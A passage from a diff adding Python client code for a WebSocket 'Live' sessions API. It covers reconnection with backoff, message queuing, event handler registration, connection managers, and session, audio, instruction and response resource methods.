+ self._is_reconnecting = True
+
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
+ base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
+ jitter = 0.75 + random.random() * 0.25
+ delay = base_delay * jitter
+
+ event = ReconnectingEvent(
+ attempt=attempt,
+ max_attempts=self._max_retries,
+ delay=delay,
+ close_code=close_code,
+ extra_query=self._extra_query,
+ extra_headers=self._extra_headers,
+ )
+
+ try:
+ result = self._on_reconnecting(event)
+ except Exception:
+ self._is_reconnecting = False
+ return False
+
+ if result is not None and result.get("abort"):
+ self._is_reconnecting = False
+ return False
+
+ if result is not None:
+ if "extra_query" in result:
+ self._extra_query = result["extra_query"]
+ if "extra_headers" in result:
+ self._extra_headers = result["extra_headers"]
+
+ log.info(
+ "Reconnecting to WebSocket API (attempt %d/%d) after %.1fs delay",
+ attempt,
+ self._max_retries,
+ delay,
+ )
+ await asyncio.sleep(delay)
+
+ if self._intentionally_closed:
+ self._is_reconnecting = False
+ return False
+
+ try:
+ self._connection = await self._make_ws(self._extra_query, self._extra_headers)
+ log.info("Reconnected to WebSocket API")
+ self._is_reconnecting = False
+ await self._flush_send_queue()
+ return True
+ except Exception:
+ pass
+
+ self._is_reconnecting = False
+ return False
+
+ async def _flush_send_queue(self) -> None:
+ """Send all queued messages over the current connection."""
+
+ async def _send(data: str) -> None:
+ await self._connection.send(data)
+
+ try:
+ await self._send_queue.flush_async(_send)
+ except Exception:
+ log.warning("Failed to flush send queue after reconnect", exc_info=True)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncLiveConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Adds the handler to the end of the handlers list for the given event type.
+
+ No checks are made to see if the handler has already been added. Multiple calls
+ passing the same combination of event type and handler will result in the handler
+ being added, and called, multiple times.
+
+ Can be used as a method (returns ``self`` for chaining)::
+
+ connection.on("session.started", my_handler)
+
+ Or as a decorator::
+
+ @connection.on("session.started")
+ async def my_handler(event): ...
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> AsyncLiveConnection:
+ """Remove a previously registered event handler."""
+ self._event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncLiveConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler.
+
+ Automatically removed after first invocation.
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ async def dispatch_events(self) -> None:
+ """Run the event loop, dispatching received events to registered handlers.
+
+ Blocks until the connection is closed. This is the push-based
+ alternative to iterating with ``async for event in connection``.
+
+ If an ``"error"`` event arrives and no handler is registered for
+ ``"error"`` or ``"event"``, an ``OpenAIError`` is raised.
+ """
+ import asyncio
+
+ async for event in self:
+ event_type = event.type
+ specific = self._event_handler_registry.get_handlers(event_type)
+ generic = self._event_handler_registry.get_handlers("event")
+
+ if event_type == "error" and not specific and not generic:
+ if isinstance(event, ErrorEvent):
+ raise OpenAIError(f"WebSocket error: {event}")
+
+ for handler in specific:
+ result = handler(event)
+ if asyncio.iscoroutine(result):
+ await result
+
+ for handler in generic:
+ result = handler(event)
+ if asyncio.iscoroutine(result):
+ await result
+
+
+class AsyncLiveConnectionManager:
+ """
+ Context manager over a `AsyncLiveConnection` that is returned by `live.connect()`
+
+ This context manager ensures that the connection will be closed when it exits.
+
+ ---
+
+ Note that if your application doesn't work well with the context manager approach then you
+ can call the `.enter()` method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = await client.live.connect(...).enter()
+ # ...
+ await connection.close()
+ ```
+ """
+
+ def __init__(
+ self,
+ *,
+ client: AsyncOpenAI,
+ extra_query: Query,
+ extra_headers: Headers,
+ websocket_connection_options: WebSocketConnectionOptions,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> None:
+ self.__client = client
+ self.__connection: AsyncLiveConnection | None = None
+ self.__extra_query = extra_query
+ self.__extra_headers = extra_headers
+ self.__websocket_connection_options = websocket_connection_options
+ self.__on_reconnecting = on_reconnecting
+ self.__max_retries = max_retries
+ self.__initial_delay = initial_delay
+ self.__max_delay = max_delay
+ self.__send_queue = SendQueue(max_bytes=max_queue_size)
+ self.__event_handler_registry = EventHandlerRegistry(use_lock=False)
+
+ def send(self, event: ClientEvent | ClientEventParam) -> None:
+ """Queue a message to be sent when the connection is established.
+
+ This can be called before entering the context manager. Queued messages
+ are automatically sent once the WebSocket connection opens.
+ """
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(event)
+ )
+ self.__send_queue.enqueue(data)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncLiveConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register an event handler before the connection is established.
+
+ Handlers are transferred to the connection on enter. Supports the
+ same method and decorator forms as ``AsyncLiveConnection.on``.
+ """
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> AsyncLiveConnectionManager:
+ """Remove a previously registered event handler."""
+ self.__event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[AsyncLiveConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler before the connection is established."""
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ async def __aenter__(self) -> AsyncLiveConnection:
+ """
+ If your application doesn't work well with the context manager approach then you
+ can call this method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = await client.live.connect(...).enter()
+ # ...
+ await connection.close()
+ ```
+ """
+ ws = await self._connect_ws(self.__extra_query, self.__extra_headers)
+
+ self.__connection = AsyncLiveConnection(
+ ws,
+ make_ws=self._connect_ws if self.__on_reconnecting is not None else None,
+ on_reconnecting=self.__on_reconnecting,
+ max_retries=self.__max_retries,
+ initial_delay=self.__initial_delay,
+ max_delay=self.__max_delay,
+ extra_query=self.__extra_query,
+ extra_headers=self.__extra_headers,
+ send_queue=self.__send_queue,
+ )
+
+ self.__event_handler_registry.merge_into(self.__connection._event_handler_registry)
+ await self.__connection._flush_send_queue()
+
+ return self.__connection
+
+ enter = __aenter__
+
+ async def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> AsyncWebSocketConnection:
+ try:
+ from ...lib._websocket import _WebSocketConnect as connect
+ except ImportError as exc:
+ raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
+
+ url = self._prepare_url().copy_with(
+ params={
+ **self.__client.base_url.params,
+ **extra_query,
+ },
+ )
+ log.debug("Connecting to %s", url)
+ if self.__websocket_connection_options:
+ log.debug("Connection options: %s", self.__websocket_connection_options)
+
+ return await connect(
+ str(url),
+ user_agent_header=self.__client.user_agent,
+ additional_headers=_merge_mappings(
+ {
+ **self.__client.auth_headers,
+ },
+ extra_headers,
+ ),
+ **self.__websocket_connection_options,
+ )
+
+ def _prepare_url(self) -> httpx2.URL:
+ if self.__client.websocket_base_url is not None:
+ base_url = httpx2.URL(self.__client.websocket_base_url)
+ else:
+ scheme = self.__client._base_url.scheme
+ ws_scheme = "ws" if scheme == "http" else "wss"
+ base_url = self.__client._base_url.copy_with(scheme=ws_scheme)
+
+ merge_raw_path = base_url.raw_path.rstrip(b"/") + b"/live/sessions"
+ return base_url.copy_with(raw_path=merge_raw_path)
+
+ async def __aexit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ if self.__connection is not None:
+ await self.__connection.close()
+
+
+class LiveConnection:
+ """Represents a live WebSocket connection to the Live API"""
+
+ session: LiveSessionResource
+ response: LiveResponseResource
+
+ _connection: WebSocketConnection
+
+ def __init__(
+ self,
+ connection: WebSocketConnection,
+ *,
+ make_ws: Callable[[Query, Headers], WebSocketConnection] | None = None,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ extra_query: Query = {},
+ extra_headers: Headers = {},
+ send_queue: SendQueue | None = None,
+ ) -> None:
+ self._connection = connection
+ self._make_ws = make_ws
+ self._on_reconnecting = on_reconnecting
+ self._max_retries = max_retries
+ self._reconnect_attempt = 0
+ self._initial_delay = initial_delay
+ self._max_delay = max_delay
+ self._extra_query = extra_query
+ self._extra_headers = extra_headers
+ self._intentionally_closed = False
+ self._is_reconnecting = False
+ self._send_queue = send_queue or SendQueue()
+ self._event_handler_registry = EventHandlerRegistry(use_lock=True)
+
+ self.session = LiveSessionResource(self)
+ self.response = LiveResponseResource(self)
+
+ def __iter__(self) -> Iterator[ServerEvent]:
+ """
+ An infinite-iterator that will continue to yield events until
+ the connection is closed.
+ """
+ from websockets.exceptions import ConnectionClosedOK, ConnectionClosedError
+
+ while True:
+ try:
+ yield self.recv()
+ except ConnectionClosedOK:
+ return
+ except ConnectionClosedError as exc:
+ if not self._reconnect(exc):
+ unsent = self._send_queue.drain()
+ if unsent:
+ raise WebSocketConnectionClosedError(
+ "WebSocket connection closed with unsent messages",
+ unsent_messages=unsent,
+ ) from exc
+ raise
+
+ def recv(self) -> ServerEvent:
+ """
+ Receive the next message from the connection and parses it into a `ServerEvent` object.
+
+ Canceling this method is safe. There's no risk of losing data.
+ """
+ event = self.parse_event(self.recv_bytes())
+ event_type = (
+ cast("dict[str, object]", event).get("type")
+ if isinstance(cast(object, event), dict)
+ else getattr(event, "type", None)
+ )
+ # A successful upgrade can still be followed by an admission error.
+ # Reset the budget only after receiving a non-error application event.
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return event
+
+ def recv_bytes(self) -> bytes:
+ """Receive the next message from the connection as raw bytes.
+
+ Canceling this method is safe. There's no risk of losing data.
+
+ If you want to parse the message into a `ServerEvent` object like `.recv()` does,
+ then you can call `.parse_event(data)`.
+ """
+ message = self._connection.recv(decode=False)
+ log.debug(f"Received WebSocket message: %s", message)
+ if self._reconnect_attempt:
+ # Account for raw application progress without changing frame delivery.
+ try:
+ event_data: object = json.loads(message)
+ except (ValueError, RecursionError):
+ return message
+ event_type = cast("dict[str, object]", event_data).get("type") if isinstance(event_data, dict) else None
+ if isinstance(event_type, str) and event_type and event_type != "error":
+ self._reconnect_attempt = 0
+ return message
+
+ def send(self, event: ClientEvent | ClientEventParam) -> None:
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(maybe_transform(event, ClientEventParam))
+ )
+ if self._is_reconnecting:
+ self._send_queue.enqueue(data)
+ return
+ try:
+ self._connection.send(data)
+ except Exception:
+ self._send_queue.enqueue(data)
+ raise
+
+ def send_raw(self, data: bytes | str) -> None:
+ if self._is_reconnecting:
+ raw = data if isinstance(data, str) else data.decode("utf-8")
+ self._send_queue.enqueue(raw)
+ return
+ self._connection.send(data)
+
+ def close(self, *, code: int = 1000, reason: str = "") -> None:
+ self._intentionally_closed = True
+ self._connection.close(code=code, reason=reason)
+
+ def parse_event(self, data: str | bytes) -> ServerEvent:
+ """
+ Converts a raw `str` or `bytes` message into a `ServerEvent` object.
+
+ This is helpful if you're using `.recv_bytes()`.
+ """
+ return cast(ServerEvent, construct_type_unchecked(value=json.loads(data), type_=cast(Any, ServerEvent)))
+
+ def _reconnect(self, exc: Exception) -> bool:
+ """Attempt to reconnect after a connection failure.
+
+ Returns ``True`` if a new connection was established, ``False`` if the
+ caller should re-raise the original exception.
+ """
+ if self._on_reconnecting is None or self._make_ws is None:
+ return False
+
+ from websockets.exceptions import ConnectionClosedError
+
+ close_code = 1006
+ if isinstance(exc, ConnectionClosedError) and exc.rcvd is not None:
+ close_code = exc.rcvd.code
+
+ if not is_recoverable_close(close_code):
+ return False
+
+ self._is_reconnecting = True
+
+ for attempt in range(self._reconnect_attempt + 1, self._max_retries + 1):
+ self._reconnect_attempt = attempt
+ base_delay = min(self._initial_delay * (2 ** (attempt - 1)), self._max_delay)
+ jitter = 0.75 + random.random() * 0.25
+ delay = base_delay * jitter
+
+ event = ReconnectingEvent(
+ attempt=attempt,
+ max_attempts=self._max_retries,
+ delay=delay,
+ close_code=close_code,
+ extra_query=self._extra_query,
+ extra_headers=self._extra_headers,
+ )
+
+ try:
+ result = self._on_reconnecting(event)
+ except Exception:
+ self._is_reconnecting = False
+ return False
+
+ if result is not None and result.get("abort"):
+ self._is_reconnecting = False
+ return False
+
+ if result is not None:
+ if "extra_query" in result:
+ self._extra_query = result["extra_query"]
+ if "extra_headers" in result:
+ self._extra_headers = result["extra_headers"]
+
+ log.info(
+ "Reconnecting to WebSocket API (attempt %d/%d) after %.1fs delay",
+ attempt,
+ self._max_retries,
+ delay,
+ )
+ time.sleep(delay)
+
+ if self._intentionally_closed:
+ self._is_reconnecting = False
+ return False
+
+ try:
+ self._connection = self._make_ws(self._extra_query, self._extra_headers)
+ log.info("Reconnected to WebSocket API")
+ self._is_reconnecting = False
+ self._flush_send_queue()
+ return True
+ except Exception:
+ pass
+
+ self._is_reconnecting = False
+ return False
+
+ def _flush_send_queue(self) -> None:
+ """Send all queued messages over the current connection."""
+ try:
+ self._send_queue.flush_sync(lambda data: self._connection.send(data))
+ except Exception:
+ log.warning("Failed to flush send queue after reconnect", exc_info=True)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[LiveConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Adds the handler to the end of the handlers list for the given event type.
+
+ No checks are made to see if the handler has already been added. Multiple calls
+ passing the same combination of event type and handler will result in the handler
+ being added, and called, multiple times.
+
+ Can be used as a method (returns ``self`` for chaining)::
+
+ connection.on("session.started", my_handler)
+
+ Or as a decorator::
+
+ @connection.on("session.started")
+ def my_handler(event): ...
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> LiveConnection:
+ """Remove a previously registered event handler."""
+ self._event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[LiveConnection, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler.
+
+ Automatically removed after first invocation.
+ """
+ if handler is not None:
+ self._event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self._event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ def dispatch_events(self) -> None:
+ """Run the event loop, dispatching received events to registered handlers.
+
+ Blocks the current thread until the connection is closed. This is the push-based
+ alternative to iterating with ``for event in connection``.
+
+ If an ``"error"`` event arrives and no handler is registered for
+ ``"error"`` or ``"event"``, an ``OpenAIError`` is raised.
+ """
+ for event in self:
+ event_type = event.type
+ specific = self._event_handler_registry.get_handlers(event_type)
+ generic = self._event_handler_registry.get_handlers("event")
+
+ if event_type == "error" and not specific and not generic:
+ if isinstance(event, ErrorEvent):
+ raise OpenAIError(f"WebSocket error: {event}")
+
+ for handler in specific:
+ handler(event)
+
+ for handler in generic:
+ handler(event)
+
+
+class LiveConnectionManager:
+ """Context manager over a `LiveConnection` that is returned by `live.connect()`
+
+ This context manager ensures that the connection will be closed when it exits.
+
+ ---
+
+ Note that if your application doesn't work well with the context manager approach then you
+ can call the `.enter()` method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = client.live.connect(...).enter()
+ # ...
+ connection.close()
+ ```
+ """
+
+ def __init__(
+ self,
+ *,
+ client: OpenAI,
+ extra_query: Query,
+ extra_headers: Headers,
+ websocket_connection_options: WebSocketConnectionOptions,
+ on_reconnecting: Callable[[ReconnectingEvent], ReconnectingOverrides | None] | None = None,
+ max_retries: int = 5,
+ initial_delay: float = 0.5,
+ max_delay: float = 8.0,
+ max_queue_size: int = 1_048_576,
+ ) -> None:
+ self.__client = client
+ self.__connection: LiveConnection | None = None
+ self.__extra_query = extra_query
+ self.__extra_headers = extra_headers
+ self.__websocket_connection_options = websocket_connection_options
+ self.__on_reconnecting = on_reconnecting
+ self.__max_retries = max_retries
+ self.__initial_delay = initial_delay
+ self.__max_delay = max_delay
+ self.__send_queue = SendQueue(max_bytes=max_queue_size)
+ self.__event_handler_registry = EventHandlerRegistry(use_lock=True)
+
+ def send(self, event: ClientEvent | ClientEventParam) -> None:
+ """Queue a message to be sent when the connection is established.
+
+ This can be called before entering the context manager. Queued messages
+ are automatically sent once the WebSocket connection opens.
+ """
+ data = (
+ event.to_json(use_api_names=True, exclude_defaults=True, exclude_unset=True)
+ if isinstance(event, BaseModel)
+ else json.dumps(event)
+ )
+ self.__send_queue.enqueue(data)
+
+ def on(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[LiveConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register an event handler before the connection is established.
+
+ Handlers are transferred to the connection on enter. Supports the
+ same method and decorator forms as ``LiveConnection.on``.
+ """
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn)
+ return fn
+
+ return decorator
+
+ def off(self, event_type: str, handler: Callable[..., Any]) -> LiveConnectionManager:
+ """Remove a previously registered event handler."""
+ self.__event_handler_registry.remove(event_type, handler)
+ return self
+
+ def once(
+ self, event_type: str, handler: Callable[..., Any] | None = None
+ ) -> Union[LiveConnectionManager, Callable[[Callable[..., Any]], Callable[..., Any]]]:
+ """Register a one-time event handler before the connection is established."""
+ if handler is not None:
+ self.__event_handler_registry.add(event_type, handler, once=True)
+ return self
+
+ def decorator(fn: Callable[..., Any]) -> Callable[..., Any]:
+ self.__event_handler_registry.add(event_type, fn, once=True)
+ return fn
+
+ return decorator
+
+ def __enter__(self) -> LiveConnection:
+ """
+ If your application doesn't work well with the context manager approach then you
+ can call this method directly to initiate a connection.
+
+ **Warning**: You must remember to close the connection with `.close()`.
+
+ ```py
+ connection = client.live.connect(...).enter()
+ # ...
+ connection.close()
+ ```
+ """
+ ws = self._connect_ws(self.__extra_query, self.__extra_headers)
+
+ self.__connection = LiveConnection(
+ ws,
+ make_ws=self._connect_ws if self.__on_reconnecting is not None else None,
+ on_reconnecting=self.__on_reconnecting,
+ max_retries=self.__max_retries,
+ initial_delay=self.__initial_delay,
+ max_delay=self.__max_delay,
+ extra_query=self.__extra_query,
+ extra_headers=self.__extra_headers,
+ send_queue=self.__send_queue,
+ )
+
+ self.__event_handler_registry.merge_into(self.__connection._event_handler_registry)
+ self.__connection._flush_send_queue()
+
+ return self.__connection
+
+ enter = __enter__
+
+ def _connect_ws(self, extra_query: Query, extra_headers: Headers) -> WebSocketConnection:
+ try:
+ from websockets.sync.client import connect
+ except ImportError as exc:
+ raise OpenAIError("You need to install `openai[realtime]` to use this method") from exc
+
+ url = self._prepare_url().copy_with(
+ params={
+ **self.__client.base_url.params,
+ **extra_query,
+ },
+ )
+ log.debug("Connecting to %s", url)
+ if self.__websocket_connection_options:
+ log.debug("Connection options: %s", self.__websocket_connection_options)
+
+ return connect(
+ str(url),
+ user_agent_header=self.__client.user_agent,
+ additional_headers=_merge_mappings(
+ {
+ **self.__client.auth_headers,
+ },
+ extra_headers,
+ ),
+ **self.__websocket_connection_options,
+ )
+
+ def _prepare_url(self) -> httpx2.URL:
+ if self.__client.websocket_base_url is not None:
+ base_url = httpx2.URL(self.__client.websocket_base_url)
+ else:
+ scheme = self.__client._base_url.scheme
+ ws_scheme = "ws" if scheme == "http" else "wss"
+ base_url = self.__client._base_url.copy_with(scheme=ws_scheme)
+
+ merge_raw_path = base_url.raw_path.rstrip(b"/") + b"/live/sessions"
+ return base_url.copy_with(raw_path=merge_raw_path)
+
+ def __exit__(
+ self, exc_type: type[BaseException] | None, exc: BaseException | None, exc_tb: TracebackType | None
+ ) -> None:
+ if self.__connection is not None:
+ self.__connection.close()
+
+
+class BaseLiveConnectionResource:
+ def __init__(self, connection: LiveConnection) -> None:
+ self._connection = connection
+
+
+class LiveSessionResource(BaseLiveConnectionResource):
+ @cached_property
+ def commentary(self) -> LiveSessionCommentaryResource:
+ return LiveSessionCommentaryResource(self._connection)
+
+ @cached_property
+ def input_audio(self) -> LiveSessionInputAudioResource:
+ return LiveSessionInputAudioResource(self._connection)
+
+ @cached_property
+ def instructions(self) -> LiveSessionInstructionsResource:
+ return LiveSessionInstructionsResource(self._connection)
+
+ @cached_property
+ def thinking(self) -> LiveSessionThinkingResource:
+ return LiveSessionThinkingResource(self._connection)
+
+ def close(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+ self._connection.send(cast(ClientEventParam, strip_not_given({"type": "session.close", "event_id": event_id})))
+
+ def update(self, *, session: SessionUpdateConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+ self._connection.send(
+ cast(
+ ClientEventParam, strip_not_given({"type": "session.update", "session": session, "event_id": event_id})
+ )
+ )
+
+ def start(self, *, session: SessionConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Start a Live session on a primary WebSocket.
+
+ Send this event before other commands and wait for `session.started`.
+ """
+ self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.start", "session": session, "event_id": event_id}))
+ )
+
+
+class LiveSessionCommentaryResource(BaseLiveConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.commentary.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class LiveSessionInputAudioResource(BaseLiveConnectionResource):
+ def append(self, *, audio: str, event_id: Optional[str] | Omit = omit) -> None:
+ """Send audio to a Live session over its primary WebSocket.
+
+ WebRTC and SIP sessions send audio over their media transport.
+ """
+ self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given({"type": "session.input_audio.append", "audio": audio, "event_id": event_id}),
+ )
+ )
+
+ def mute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+ self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.input_audio.mute", "event_id": event_id}))
+ )
+
+ def unmute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+ self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.input_audio.unmute", "event_id": event_id}))
+ )
+
+
+class LiveSessionInstructionsResource(BaseLiveConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.instructions.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class LiveSessionThinkingResource(BaseLiveConnectionResource):
+ def append(self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Provide silent reasoning or progress context to the Live model, optionally for an existing client delegation.
+ """
+ self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.thinking.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class LiveResponseResource(BaseLiveConnectionResource):
+ @cached_property
+ def item(self) -> LiveResponseItemResource:
+ return LiveResponseItemResource(self._connection)
+
+ def create(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """
+ Request a response from the Live session’s Responses backend, or continue a
+ delegated response waiting for tool results.
+
+ Requires Responses delegation.
+ """
+ self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "response.create", "event_id": event_id}))
+ )
+
+
+class LiveResponseItemResource(BaseLiveConnectionResource):
+ def create(self, *, item: ResponseInputItemParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Add an input item to the Live session’s Responses backend.
+
+ Requires Responses delegation; use `response.create` to request a response.
+ """
+ self._connection.send(
+ cast(
+ ClientEventParam, strip_not_given({"type": "response.item.create", "item": item, "event_id": event_id})
+ )
+ )
+
+
+class BaseAsyncLiveConnectionResource:
+ def __init__(self, connection: AsyncLiveConnection) -> None:
+ self._connection = connection
+
+
+class AsyncLiveSessionResource(BaseAsyncLiveConnectionResource):
+ @cached_property
+ def commentary(self) -> AsyncLiveSessionCommentaryResource:
+ return AsyncLiveSessionCommentaryResource(self._connection)
+
+ @cached_property
+ def input_audio(self) -> AsyncLiveSessionInputAudioResource:
+ return AsyncLiveSessionInputAudioResource(self._connection)
+
+ @cached_property
+ def instructions(self) -> AsyncLiveSessionInstructionsResource:
+ return AsyncLiveSessionInstructionsResource(self._connection)
+
+ @cached_property
+ def thinking(self) -> AsyncLiveSessionThinkingResource:
+ return AsyncLiveSessionThinkingResource(self._connection)
+
+ async def close(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Request that the Live session close.
+
+ The terminal `session.closed` event contains the close reason and final usage.
+ """
+ await self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.close", "event_id": event_id}))
+ )
+
+ async def update(self, *, session: SessionUpdateConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Update the delegation settings of an active Live session.
+
+ The server acknowledges accepted changes with `session.updated`.
+ """
+ await self._connection.send(
+ cast(
+ ClientEventParam, strip_not_given({"type": "session.update", "session": session, "event_id": event_id})
+ )
+ )
+
+ async def start(self, *, session: SessionConfigParam, event_id: Optional[str] | Omit = omit) -> None:
+ """Start a Live session on a primary WebSocket.
+
+ Send this event before other commands and wait for `session.started`.
+ """
+ await self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.start", "session": session, "event_id": event_id}))
+ )
+
+
+class AsyncLiveSessionCommentaryResource(BaseAsyncLiveConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Provide context the Live model can communicate to the user, optionally for an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.commentary.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncLiveSessionInputAudioResource(BaseAsyncLiveConnectionResource):
+ async def append(self, *, audio: str, event_id: Optional[str] | Omit = omit) -> None:
+ """Send audio to a Live session over its primary WebSocket.
+
+ WebRTC and SIP sessions send audio over their media transport.
+ """
+ await self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given({"type": "session.input_audio.append", "audio": audio, "event_id": event_id}),
+ )
+ )
+
+ async def mute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Mute audio input to the Live model without closing the session.
+
+ The server acknowledges with `session.input_audio.muted`.
+ """
+ await self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.input_audio.mute", "event_id": event_id}))
+ )
+
+ async def unmute(self, *, event_id: Optional[str] | Omit = omit) -> None:
+ """Resume audio input to a Live model after muting it.
+
+ The server acknowledges with `session.input_audio.unmuted`.
+ """
+ await self._connection.send(
+ cast(ClientEventParam, strip_not_given({"type": "session.input_audio.unmute", "event_id": event_id}))
+ )
+
+
+class AsyncLiveSessionInstructionsResource(BaseAsyncLiveConnectionResource):
+ async def append(
+ self, *, content: str, delegation_id: Optional[str], event_id: Optional[str] | Omit = omit
+ ) -> None:
+ """
+ Append instructions to the Live conversation while it is running, optionally associating them with an existing client delegation.
+ """
+ await self._connection.send(
+ cast(
+ ClientEventParam,
+ strip_not_given(
+ {
+ "type": "session.instructions.append",
+ "content": content,
+ "delegation_id": delegation_id,
+ "event_id": event_id,
+ }
+ ),
+ )
+ )
+
+
+class AsyncLiveSessionThinkingResource(BaseAsyncLiveConnectionResource):
+ async def append(
